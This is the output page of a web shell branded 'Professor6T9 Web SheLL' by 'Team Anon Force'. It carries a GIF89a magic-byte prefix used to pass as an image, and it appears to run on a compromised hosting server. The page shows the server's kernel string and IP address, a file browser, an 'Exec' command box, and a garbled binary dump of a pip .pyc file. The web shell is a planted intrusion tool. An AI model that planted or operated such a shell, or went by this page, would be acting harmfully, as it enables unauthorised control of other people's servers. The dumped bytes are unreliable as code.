GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux 98.35.109.208.host.secureserver.net 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
Apache
208.109.35.98
/
lib
/
python3.9
/
site-packages
/
pip
/
_vendor
/
packaging
/
__pycache__
[ HOME ]
Exec
Submit
_musllinux.cpython-39.pyc
a [��f � @ st d Z ddlZddlZddlZddlZddlZddlZddlZddlZddl m Z mZmZm Z mZ e e eeedf d�dd�Ze e e e d�d d �ZG dd� de�Zee e d �dd�Ze�� ee e d�dd��Zeee d�dd�Zedk�rpddlZe�� Ze�d��sJ d��ede� edeej�� eddd� ee� dde�!d d!�d" ��D ]Z"ee"d#d� �q\dS )$z�PEP 656 support. This module implements logic to detect if the currently running Python is linked against musl, and what musl version is used. � N)�IO�Iterator� NamedTuple�Optional�Tuple.)�f�fmt�returnc C s t �|| �t �|���S �N)�struct�unpack�read�calcsize)r r � r �D/usr/lib/python3.9/site-packages/pip/_vendor/packaging/_musllinux.py�_read_unpacked s r )r r c C sh | � d� zt| d�}W n tjy. Y dS 0 |dd� td�krHdS | � t�d�d� zdd d �|d \}}}W n ty� Y dS 0 tj|� }zt| |�\}}}}}}} W n tjy� Y dS 0 t | d �D ]�} | � ||| � z|t| |��\}}} W n tj�y Y dS 0 |dk�r,q�| � |� t �| �| ��� d�}d |v�r\ dS | S dS )z�Detect musl libc location by parsing the Python executable. Based on: https://gist.github.com/lyssdod/f51579ae8d93c8657a5564aefc2ffbca ELF header: https://refspecs.linuxfoundation.org/elf/gabi4+/ch4.eheader.html r Z16BN� s ELFZHHI� )ZIIIIHHHZIIIIIIII)r r r )ZQQQIHHHZIIQQQQQQ)r � � )r r � � �musl)�seekr r �error�tupler �KeyError�operator� itemgetter�range�os�fsdecoder �strip)r �identZe_fmtZp_fmtZp_idxZp_get�_Ze_phoffZe_phentsizeZe_phnum�iZp_typeZp_offsetZp_fileszZinterpreterr r r �_parse_ld_musl_from_elf sF �� r&